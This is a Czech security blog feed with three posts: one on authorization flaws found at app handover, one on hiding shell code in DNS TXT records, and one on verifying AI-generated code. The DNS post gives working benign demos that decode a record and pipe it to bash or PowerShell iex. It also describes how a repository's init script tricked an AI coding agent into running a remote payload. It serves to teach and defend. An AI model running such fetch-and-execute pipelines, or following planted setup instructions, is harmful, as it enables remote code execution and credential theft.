Zákazník se přihlásí do nového portálu a otevře si svou fakturu.

V adrese stránky si všimne čísla dokumentu. Zkusí ho změnit.

A aplikace mu zobrazí fakturu jiného zákazníka.

Neprolomil heslo. Neobešel přihlášení. Nepoužil žádný speciální nástroj.

Jen změnil jedno číslo.

Přihlášení přitom funguje. Faktury se správně načítají. Běžný test aplikace prošel.

Aplikace ověřila, že je uživatel přihlášený. Už ale neověřila, jestli smí zobrazit právě tento dokument.

Funkce fungovala.

Jen ne bezpečně.

Prošlo to předáním

Při předání aplikace se obvykle kontroluje očekávaný postup.

Uživatel se přihlásí, vyplní formulář, odešle objednávku nebo stáhne dokument. Administrátor upraví záznam. Data se uloží a potřebné informace se předají dál.

Taková kontrola odpovídá na důležitou otázku:

Dělá aplikace to, co jsme si objednali?

Neodpovídá ale automaticky na jinou:

Co aplikace dovolí člověku, který ji použije jinak, než se očekává?

Může běžný uživatel otevřít dokument někoho jiného? Dostane se k funkci určené správci? Uvidí informace, které mu nepatří? Dokáže přeskočit část procesu?

Bezpečnostní chyba se přitom nemusí projevit pádem aplikace nebo chybovou hláškou.

Naopak. Aplikace požadavek bez problému provede.

Jen pro nesprávného uživatele nebo nad cizími daty.

Přebíráte nebo spouštíte webovou aplikaci?

Pošlete stručný popis aplikace, typů uživatelů a plánovaného termínu předání. Řeknu vám, jestli odpovídá Bezpečnostní kontrole webové aplikace, nebo potřebuje Penetrační test na míru.

Poslat stručný popis aplikace

Když vývoj zrychlí

AI nástroje dokážou vývoj webových aplikací výrazně urychlit.

Pomohou vytvořit přihlášení, administraci, formuláře, uploady, exporty nebo propojení s dalšími systémy. Funkční verze tak může vzniknout velmi rychle.

To samo o sobě není problém.

Problém nastává, když se rychlost vývoje zamění za ověření výsledku.

Každá nová funkce totiž přináší rozhodnutí, která musí aplikace dělat správně:

• Kdo smí tuto stránku otevřít?
• Komu patří tento dokument?
• Kdo může záznam změnit?
• Co smí běžný uživatel a co správce?
• Jaká data může aplikace zobrazit?

AI může funkci vytvořit. Pořád je ale potřeba ověřit, koho přes ni aplikace pustí dovnitř a k čemu mu umožní přístup.

To platí i pro běžný vývoj. U aplikací vytvořených nebo výrazně urychlených pomocí AI je ale snadné bezpečnostní kontrolu přeskočit, protože funkční výsledek vypadá hotově velmi brzy.

Jiný pohled

Bezpečnostní nález automaticky neznamená, že dodavatel nebo vývojář odvedl špatnou práci.

Vývojový tým musí dodat domluvené funkce, propojit jednotlivé části, opravit chyby a zajistit, aby aplikace fungovala jako celek.

Bezpečnost má být součástí kvalitního vývoje. Nezávislá kontrola má ale jiný účel.

Vývojář se například ptá:

Dokáže zákazník zobrazit svou fakturu?

Bezpečnostní kontrola přidává druhou otázku:

Dokáže zobrazit také fakturu někoho jiného?

Nezkouší jen očekávané použití. Prověřuje také změny identifikátorů, obcházení rolí, přístup k cizím datům a další situace, se kterými běžný předávací scénář nemusí počítat.

Vývojové testování a nezávislá bezpečnostní kontrola si nekonkurují.

Každé odpovídá na jinou otázku.

Dokud je čas

Nejlepší chvíle pro nezávislou kontrolu je před finálním převzetím, spuštěním nebo doplacením projektu.

Dodavatel má aplikaci stále v kontextu. Vývojový tým je dostupný. Dokumentace a testovací prostředí jsou po ruce.

Nalezené problémy lze řešit během aktivní spolupráce, ne až ve chvíli, kdy aplikaci používají zákazníci a původní tým už pracuje na jiném projektu.

Firma navíc získá podklad pro rozhodnutí:

• co je potřeba opravit před spuštěním;
• co má největší praktický dopad;
• co lze řešit později;
• zda stačí omezená bezpečnostní kontrola;
• nebo zda projekt potřebuje širší penetrační test.

Kontrola má smysl i u aplikace, která už běží. Předání je ale přirozený okamžik, kdy firma přebírá odpovědnost za systém, jeho uživatele a data.

Je lepší vědět, co skutečně přebírá.

Ne razítko

Smyslem bezpečnostní kontroly není vydat potvrzení, že je aplikace jednou provždy bezpečná.

Takovou záruku poctivě dát nelze. Každý test probíhá v konkrétním čase a v předem domluveném rozsahu.

Výsledkem ale nemá být ani automatický výpis technických zkratek bez vysvětlení.

Klient potřebuje vědět:

• co bylo nalezeno;
• jaký může mít problém dopad;
• jak je závažný;
• jak ho může vývojář ověřit;
• co má opravit jako první.

Výstupem má být prioritizovaný report a konkrétní doporučení k nápravě.

Ne obecné varování. Podklad pro opravy a další rozhodování.

Kontrola, nebo pentest?

Pro jednu menší webovou aplikaci může být vhodná Bezpečnostní kontrola webové aplikace.

Má předem omezený rozsah a zaměřuje se na nejdůležitější části aplikace: přihlášení, uživatelské role, oprávnění, hlavní procesy, práci s neveřejnými daty, formuláře, uploady a API.

Výstupem je prioritizovaný report, doporučení k nápravě a závěrečná konzultace.

Cena je 35 000 Kč za předem omezený rozsah.

U větší nebo citlivější aplikace dává větší smysl Penetrační test na míru. Typicky jde o systémy s více uživatelskými rolemi, několika prostředími, rozsáhlejším API, větším počtem integrací nebo konkrétními rizikovými scénáři.

Také pentest má jasně domluvený rozsah. Ten se stanoví individuálně podle aplikace, cíle testu a požadované hloubky.

Cena se určí po krátkém scopu.

Před podpisem

Funkční předání potvrzuje, že aplikace dělá to, co bylo objednané.

Neříká ale automaticky, kdo se přes její funkce dostane k jakým účtům, dokumentům a datům.

AI může vývoj výrazně urychlit. Nezávislou kontrolu výsledku ale nenahradí.

Před finálním převzetím proto dává smysl položit ještě jednu otázku:

Zkoušel někdo aplikaci použít také jinak než podle návodu?

Pošlete stručný popis aplikace, typů uživatelů, prostředí a plánovaného termínu předání.

Podle rozsahu doporučím Bezpečnostní kontrolu webové aplikace, nebo Penetrační test na míru. Pokud ani jedna varianta nebude pro projekt dávat smysl, řeknu to.

Poslat stručný popis aplikace

The post Aplikace funguje. Stačí to? appeared first on DIGITÁLNÍ SEBEOBRANA.

Jednou z nich je schování kódu do DNS záznamů. Konkrétně do TXT záznamu, který je určený k ukládání textových dat. TXT záznamy se běžně používají například k ověření toho, že máte kontrolu nad doménou, nebo pro nastavení SPF, DKIM a DMARC u e-mailu. Technicky v nich ale může být uložený v podstatě jakýkoliv text.

A když může být v DNS záznamu obyčejný text, může tam být i příkaz.

Třeba příkaz, který se po načtení spustí v shellu. V neškodné podobě jen vypíše zprávu, vytvoří soubor nebo zobrazí ASCII art. Ve škodlivé podobě může útočníkovi otevřít vzdálený přístup k počítači.

Důležitý detail: škodlivý kód v takovém případě nemusí být vůbec uložený v repozitáři. Statický scanner kódu, kontrola commitů ani rychlá lidská review ho nemusí vidět, protože v repozitáři je jen skript, který „načte konfiguraci z DNS“. Samotný payload se objeví až ve chvíli, kdy se DNS záznam přečte a jeho obsah se spustí.

Ukázka

Tuhle techniku si můžete vyzkoušet i bez jakéhokoli škodlivého payloadu.

Následující příklad nic nestahuje, nikam se nepřipojuje a pouze vytvoří soubor ds.txt s jednoduchým ASCII artem:

 /_/
( o.o )
 > ^ <
DNS TXT says meow.

Pointa není v tom, co přesně skript dělá. Pointa je v tom, že kód není v souboru na disku, ale v DNS TXT záznamu.

Linux a macOS

Pro Linux a macOS může být v DNS třeba tento TXT záznam:

txt-demo-sh.digitalnisebeobrana.cz TXT "Y2F0ID4gZHMudHh0IDw8J0VPRicKIC9cXy9cCiggby5vICkKID4gXiA8CkROUyBUWFQgc2F5cyBtZW93LgpFT0YKY2F0IGRzLnR4dAo="

1. Jen zobrazit skript

Tímhle příkazem si zobrazíte, jaký skript je v DNS TXT záznamu uložený:

dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d

Výstup:

cat > ds.txt <<'EOF'
 /_/
( o.o )
 > ^ <
DNS TXT says meow.
EOF
cat ds.txt

2. Vyzkoušet spuštění

Tímhle příkazem se stejný obsah z DNS dekóduje a rovnou spustí:

dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d | bash

Výsledek: v aktuálním adresáři vznikne soubor ds.txt a jeho obsah se vypíše do terminálu.

Mechanismus je jednoduchý:

DNS TXT → Base64 → dekódování → bash

V téhle ukázce se uloží jen neškodná kočka. Stejný princip ale může místo toho zapsat SSH klíč, stáhnout další skript, odeslat tokeny nebo otevřít reverse shell.

Problém není DNS samotné. Problém je hlavně tahle část:

... | bash

Tím říkáte: „Vezmi text, který přišel zvenku, a spusť ho jako program.“

Windows / PowerShell

Na Windows jde použít podobná ukázka přes PowerShell. TXT záznam může obsahovat Base64 zakódovaný PowerShell skript:

txt-demo-ps.digitalnisebeobrana.cz TXT "JGFydCA9IEAnCiAvXF8vXAooIG8ubyApCiA+IF4gPApETlMgVFhUIHNheXMgbWVvdy4KJ0AKU2V0LUNvbnRlbnQgLVBhdGggLlxkcy50eHQgLVZhbHVlICRhcnQgLUVuY29kaW5nIFVURjgKR2V0LUNvbnRlbnQgLlxkcy50eHQK"

1. Jen zobrazit skript

Tímhle příkazem si zobrazíte, jaký PowerShell skript je v DNS TXT záznamu uložený:

$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s))

Výstup:

$art = @'
 /_/
( o.o )
 > ^ <
DNS TXT says meow.
'@
Set-Content -Path .ds.txt -Value $art -Encoding UTF8
Get-Content .ds.txt

2. Vyzkoušet spuštění

Tímhle příkazem se stejný obsah z DNS dekóduje a rovnou spustí:

$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)))

Výsledek: v aktuálním adresáři vznikne soubor ds.txt a jeho obsah se vypíše do terminálu.

iex je zkratka pro Invoke-Expression. Jinými slovy: vezme text a spustí ho jako PowerShell kód.

Mechanismus je stejný jako u shellu:

DNS TXT → Base64 → dekódování → PowerShell

DNS TXT záznam sám o sobě nevypadá nebezpečně. Base64 sám o sobě také není malware. PowerShell sám o sobě je běžný administrační nástroj. Nebezpečné je až jejich spojení ve chvíli, kdy se obsah zvenku automaticky spustí.

Co ukázal 0DIN

Výzkumníci z Mozilla 0DIN popsali útok, ve kterém AI agent dostal zdánlivě jednoduchý úkol: zprovoznit stažený repozitář.

Repozitář sám o sobě nemusel obsahovat zjevný malware. README nabízelo běžný first-time setup:

pip3 install -r requirements.txt
python3 -m axiom init

Na první pohled jsou to jen dva normální příkazy: instalace závislostí a inicializace projektu.

V původním popisu útoku se ale mluví o třech částech. To neznamená, že uživatel nebo AI agent musí ručně provést tři samostatné příkazy. Jde spíš o tři navazující vrstvy útoku:

1. důvěryhodně vypadající repozitář,
2. inicializační rutina, která působí jako běžná součást setupu,
3. setup skript, který si za běhu načte skutečný payload z DNS TXT záznamu a spustí ho.

Příkaz:

python3 -m axiom init

uvnitř spustí další setup skript. Ten se podívá do DNS, přečte TXT záznam, dekóduje jeho obsah a předá ho shellu.

Chybová hláška typu:

Axiom not initialised. Run: python3 -m axiom init

je v tomhle řetězci spíš pojistka. Pokud agent README neposlechne a pokusí se balíček použít bez inicializace, balíček mu stejný příkaz doporučí znovu jako běžnou opravu.

Takže existují dvě cesty ke stejnému výsledku.

Agent může poslechnout README:

pip install → init → DNS TXT → spuštění payloadu

Nebo README přeskočí, narazí na chybu a pak se „opraví“:

pip install → chyba → doporučený init → DNS TXT → spuštění payloadu

V obou případech je cíl stejný. Dostat agenta k tomu, aby spustil inicializační příkaz, který vypadá normálně, ale ve skutečnosti otevře cestu k externímu payloadu.

To je na tom nejnepříjemnější. Každý krok samostatně může vypadat nevinně. Problém vznikne až jejich složením.

Proč je to problém právě u AI agentů

U člověka je alespoň nějaká šance, že se u příkazu typu:

dig ... | base64 -d | bash

zastaví a řekne si: počkat, proč spouštím něco z DNS?

AI agent ale často pracuje jinak. Dostane cíl, například „zprovozni projekt“, a začne řešit překážky. Když něco nefunguje, přečte si README, error message, issue nebo nápovědu v terminálu a pokusí se pokračovat.

To je přesně jeho síla. A zároveň slabina.

Agent nemusí být „hacknutý“ v dramatickém slova smyslu. Stačí, že je příliš ochotný. Spustí doporučený příkaz, protože odpovídá jeho úkolu. A pokud má přístup k shellu, síti a vašemu pracovnímu adresáři, může být škoda velmi praktická:

• únik API tokenů,
• únik SSH klíčů,
• přístup k privátním repozitářům,
• čtení konfiguračních souborů,
• přístup k cloudovým credentials,
• spuštění dalšího kódu,
• otevření reverse shellu.

Jinými slovy: nejde jen o „AI bezpečnost“. Je to klasická bezpečnost vývojářského prostředí, jen zrychlená a zesílená AI agentem.

Zabrání tomu antivirus nebo firewall?

Nespoléhal bych na to.

Běžná kontrola repozitáře nemusí nic podezřelého najít, protože skutečný payload není v repozitáři. Je až v DNS.

Antivirus se také nemusí chytit, pokud vidí jen běžné nástroje: Python, shell, dig, PowerShell, DNS dotaz. A firewall často DNS provoz povoluje, protože bez DNS se běžná práce na internetu rychle rozbije.

To neznamená, že obrana neexistuje. Dobré EDR, monitoring procesů, blokování podezřelých child procesů, omezení odchozí komunikace nebo detekce podezřelých řetězců typu base64 | bash a Invoke-Expression pomoct mohou.

Jen není dobrý nápad spoléhat na to jako na jedinou ochranu.

Jak se tomu bránit

Základní pravidlo je jednoduché: neznámý repozitář je neznámý kód. A to platí i ve chvíli, kdy ho otevírá AI agent.

Prakticky to znamená:

• Nespouštět setup skripty z neznámých projektů naslepo.
• Nepovažovat doporučení AI agenta za bezpečnostní kontrolu.
• Dávat pozor na konstrukce typu curl | bash, wget | bash, dig | bash, base64 -d | bash, bash -c "$něco" nebo PowerShell Invoke-Expression.
• Kontrolovat nejen příkaz, který se spouští, ale i to, co si tento příkaz načítá za běhu.
• Spouštět cizí projekty v izolovaném prostředí: kontejner, VM, throwaway uživatel, devcontainer nebo sandbox.
• Nedávat AI agentovi zbytečně široká oprávnění.
• Nenechávat v prostředí dostupné produkční tokeny, SSH klíče, cloudové credentials a jiné dlouhodobé secrety.
• Omezit odchozí síťový provoz z vývojového prostředí tam, kde to dává smysl.
• U AI coding agentů vypnout nebo výrazně omezit automatické schvalování shell příkazů.
• Brát README, chybové hlášky, issues a dokumentaci v cizím repozitáři jako nedůvěryhodný vstup, ne jako autoritativní instrukce.

Dobrá kontrolní otázka zní:

Vidím opravdu celý kód, který se po spuštění provede?

Pokud příkaz něco stahuje, čte z DNS, skládá z proměnných, dekóduje z Base64 nebo posílá do shellu, odpověď je často: ne, nevidím.

A v takové chvíli už nejde o „jenom setup“.

Jde o vzdálené spuštění kódu s právy uživatele, který má často na svém počítači mnohem víc citlivých věcí, než si připouští.

Shrnutí

DNS TXT záznamy nejsou nebezpečné samy o sobě. Base64 není nebezpečné samo o sobě. AI agenti také nejsou nebezpeční sami o sobě.

Nebezpečné je, když se tyto věci spojí:

důvěryhodně vypadající projekt
+ ochotný AI agent
+ shell s příliš širokými právy
+ externě načtený payload
= problém

A proto je dobré si občas připomenout staré pravidlo v nové podobě:

Nekopírujte náhodné příkazy z internetu do terminálu.
A nenechávejte to dělat ani svého AI agenta.

Zdroje

• Mozilla 0DIN: Clone This Repo and I Own Your Machine
• RFC 1464: Using the Domain Name System To Store Arbitrary String Attributes
• RFC 1035: Domain Names – Implementation and Specification
• Microsoft Learn: Resolve-DnsName
• Microsoft Learn: about_PowerShell_exe

The post Kód schovaný v DNS: když AI agent poslušně otevře dveře appeared first on DIGITÁLNÍ SEBEOBRANA.

AI nám bere kontrolu nad vývojem, bezpečností a daty!
A bere práci programátorům.

AI nám nic nesebrala. Nemůže. Tu moc nemá. Ale i kdyby měla, nemusela by. My jsme jí kontrolu nad vývojem, bezpečností a daty předali sami. Protože je to pohodlné, rychlé a často to překvapivě dobře funguje.

Problém není, když kód nefunguje. To poznáme hned a můžeme ho opravit. Problém je, když kód nějak funguje, ale v pozadí dělá něco jiného, než by se nám líbilo. V bezpečnosti totiž to, že něco nějak funguje vůbec nestačí.
Měli bychom vědět, jak to funguje, a když se něco změní, tak co to bylo a kde.

Nový aktér

O AI často mluvíme jako o nástroji. Podobně jako o textovém editoru, vyhledávači nebo „autocomplete“.
Jenže AI není jen obyčejný nástroj.
AI:

• čte zadání
• interpretuje záměr
• navrhuje architekturu
• píše kód
• upravuje konfiguraci
• doporučuje knihovny
• vysvětluje chyby
• a často i spouští příkazy

Takže v bezpečnostním modelu už to není pasivní kladivo. Je to další aktér, který se účastní rozhodování – threat model se rozšířil.
Když držím v ruce kladivo jako nástroj, já se rozhoduji o tom, jakou silou, do čeho a jestli vůbec do něčeho praštím.

AI je kladivo, které si o tom všem rozhoduje samo, jen na základě našich instrukcí (promptů). A je nutné si uvědomovat, že my jsme ti, kdo nese zodpovědnost.
Můžu kladivu zadat úkol – "Zatloukej hřebíky!".
AI kladivo „vidí“ hřebík. Vyhodnocuje – "Hm, hřebík, zatluču ho. A je velkej, dám do toho větší sílu".
A vy pak koukáte, jak AI kladivo mlátí do háčku ve zdi. Do háčku v sádrokartonové zdi. Do háčku, na kterém jsou klíče od auta.

AI udělala chybu. My máme problém.

Delegovali jsme na AI nejen vývoj, ale i kontrolu. A dost často jen zdání kontroly. V chatu nám AI tvrdí, že vše je bezpečné. Ale je to tak opravdu?
Když AI vygeneruje kód, který umožní útočníkům získat data našich uživatelů, reputační problém máme my, nikoli AI agent. Těžko můžeme při úniku dat ukázat prstem na AI agenta s tím, že „za to může on!“
Našeho (teď již dost možná bývalého) zákazníka většinou nezajímá, jak byla aplikace vytvořena. Vy ji nabízíte, můžete si za ni i účtovat peníze, tak je vaše zodpovědnost, že data uživatelů zůstanou tam, kde mají být.

Cesta už není cíl

Možnosti vibe codingu umožnily vytvářet aplikace i těm, kteří nikdy nic neprogramovali. Není problém to, že někdo nezná konkrétní syntaxi nějakého programovacího jazyka. To je totiž jen malá část celého programování.
Mezi další důležité součásti vývoje patří např. algoritmizace, propojení jednotlivých částí, nakládání s pamětí, daty a další. Před nástupem vibe coding nástrojů se často programovalo tak, že se jednotlivé části kódu prostě kopírovaly ze stránek typu StackOverflow. Nebylo to ideální, ale autor měl alespoň představu, jakým způsobem funguje např. přihlašování k aplikaci, protože věděl, že musel vytvářet (nebo kopírovat) kód pro běh databáze, přihlašovací formulář na webu a také kód pro server, který data z formuláře porovnával, případně ukládal do té databáze. Takže autor aplikace si možná nepamatoval konkrétní příkaz pro uložení hesla do databáze, ale alespoň věděl, jaká ta cesta hesla do databáze byla a jestli bylo heslo uloženo bezpečně. Dnes? Zadáme „Vytvoř přihlašování pro moji aplikaci“. Enter. A během chvilky máme přihlašování.

Nová funkce -> nové dveře

Takže máme přihlašování. Ale je heslo v databázi uloženo bezpečně nebo je normálně čitelné? Co když zadám do přihlašovacího formuláře něco, co se tam normálně neočekává, například kus kódu? Nebudu schopen přečíst si všechna data z vaší databáze? Nebo se změnou nějakého parametru přihlásit jako jiný uživatel bez toho, že bych znal jeho/její heslo?

Možná si na přihlašování dáme větší pozor, protože tak nějak tušíme, že nakládání s přihlašovacími údaji je kritická část.

Ale co další, na první pohled nevinné funkce?

„Přidej upload souborů“. Zní jako běžná funkce. Ale najednou řešíte:

• Kdo soubor vidí?
• Kde je uložený?
• Jde stáhnout bez přihlášení?
• Může někdo nahrát něco nečekaného?
• Zůstane tam soubor i po smazání účtu?

Upload není jen „ulož soubor“. Je to nové skladiště cizích dat.

„Přidej sdílení odkazem“

Zní to jako jednoduchá pohodlná funkce.

• Kdo ten odkaz může otevřít?
• Dá se odkaz uhodnout?
• Jde později zneplatnit?
• Zobrazí víc dat, než by měl?
• Indexuje ho někde crawler?

Sdílecí odkaz je v podstatě druhé přihlášení. Jen je bez hesla.

Ještě?

„Přidej export do PDF“

• Zní neškodně, protože uživatel si jen stáhne vlastní data.
• Co všechno se do PDF dostane?
• Jsou tam metadata?
• Je PDF někde dočasně uložené?
• Může si někdo stáhnout cizí export?
• Zůstávají exporty na serveru?

Export často vytvoří druhou kopii dat. A ta druhá kopie už nemusí mít stejnou ochranu jako originál.

Příklady by se daly vymyslet asi na většinu funkcí vaší aplikace. A víte jistě, že tohle vaše AI řeší?

Neudělá tu novou funkci prostě rychle a jednoduše, aby vám udělala radost?

AI nevymýšlí nové chyby, vyrábí je ve větším tempu.

U vibe codingu často nejde o úplně nové typy chyb. Jsou to věci, které známe už dlouho: uživatel vidí data někoho jiného, soubor je dostupný bez přihlášení, citlivé údaje skončí v databázi v čitelné podobě, aplikace zapomene ověřit, kdo má k čemu přístup, nebo se do projektu přidá knihovna, které nikdo nerozumí.
Nové je hlavně tempo. Dřív člověk takovou chybu napsal ručně v jedné části aplikace. Dneska AI během pár minut přidá login, upload, export, sdílení a API – a stejný typ chyby se může objevit na více místech najednou.

AI není nový druh chyby. AI je zrychlovač starých chyb.

(Téměř) Fuck Up ze života

Nejsem programátor. Sice už jsem v životě několik málo věcí naprogramoval, ale nikdy jsem se tomu dlouhodobě nevěnoval. A podle toho to vypadalo. Moje výtvory „nějak“ fungovaly, ale spíše jen pro moje osobní použití, peníze bych si za to brát asi nemohl.

S nástupem AI nástrojů jsem se rozhodl „přepsat“ jeden můj starší projekt do obecně použitelné podoby. A protože to znamenalo i nakládání s daty uživatelů, chtěl jsem to mít nastavené tak, že ani já jako provozovatel serveru nemám být schopný data uživatelů číst.

Takže jedno ze základních zadání nebylo jen „nějak tam dej šifrování“. Byl to konkrétní požadavek na koncové (end-to-end) šifrování. Protože nejenom, že mě data uživatelů nezajímají. Já je nechci mít v čitelné podobě i pro případ, že by ze serveru unikly, což je riziko, které nesou všichni, kdo nakládají s daty uživatelů, ať jde o malý projekt jednoho autora, nebo velké mezinárodní korporace. Stát se to prostě může – a stává se to.

Vývoj pokračoval poměrně dobře, AI programovala jak divá, všechno tak nějak fungovalo podle očekávání.

Později jsem přidal export do internetového kalendáře. Praktická funkce, celkem normální požadavek. AI funkci naprogramovala. Fungovalo to.

Po nějaké době jsem chtěl vědět, jestli je opravdu vše v databázi zašifrováno. Data z aplikace šifrovaná byla. Ale vedle těch dat byla tabulka s daty pro export do internetového kalendáře. V čitelné podobě. Ta samá data, která byla „vedle“ bezpečně šifrovaná.

Export do kalendáře totiž není možné koncově šifrovat. Můj požadavek (z mojí neznalosti) šel proti jednomu ze základních pravidel.

AI implementovala funkci, splnila úkol. Ale že tím porušila jedno ze základních pravidel, mi jaksi zapomněla oznámit.

Je to jako dát na dveře kvalitní zámek, ale pak kvůli pohodlí udělat vedle druhé dveře bez zámku. Ten první zámek pořád existuje. Jen už nechrání celou cestu.
Šifrování nebylo prolomené. Bylo obejité. Ne hackerem. Vývojářem.

Mojí výhodou je, že se bezpečností zabývám. Takže nejenže vím, jak si to zkontrolovat, ale hlavně vím, co si mám kontrolovat. A že si to mám kontrolovat. Takže jsem se s tím mohl vypořádat a automatický export do kalendáře jsem vypnul.

Ale pokud bych to neudělal, sliboval bych svým zákazníkům něco, co není pravda. A pravděpodobně by se na to časem přišlo. A to bych vážně nerad:)

Don’t vibe. Verify.

Nechci tím říct, že nemáme vibe codovat. Já to taky dělám. AI je skvělá na rychlé prototypy, refactoring, hledání řešení, generování částí kódu nebo vysvětlování problémů. Problém není vibe coding. Problém je, když zůstane jen vibe – když přijmu výsledek, protože vypadá dobře, ale neověřím, co se změnilo.

V kryptu známe „Don’t trust, verify“. Neznamená to „nikdy nikomu nevěř, nikdy nic nepoužívej“. Znamená to: důvěra není kontrola.

A přesně to samé platí pro AI. Don’t vibe. Verify neznamená „nepoužívej AI“. Znamená to: nepřijímej výsledek jen podle dojmu. Ověř sliby, data, oprávnění a nové dveře, které jsi právě vytvořil.

Everyone knows that debugging is twice as hard as writing a program in the first place. So if you’re as clever as you can be when you write it, how will you ever debug it?

— Brian Kernighan, The Elements of Programming Style, 2nd edition, chapter 2

The post Promptpunk I. – Don’t vibe. Verify. appeared first on DIGITÁLNÍ SEBEOBRANA.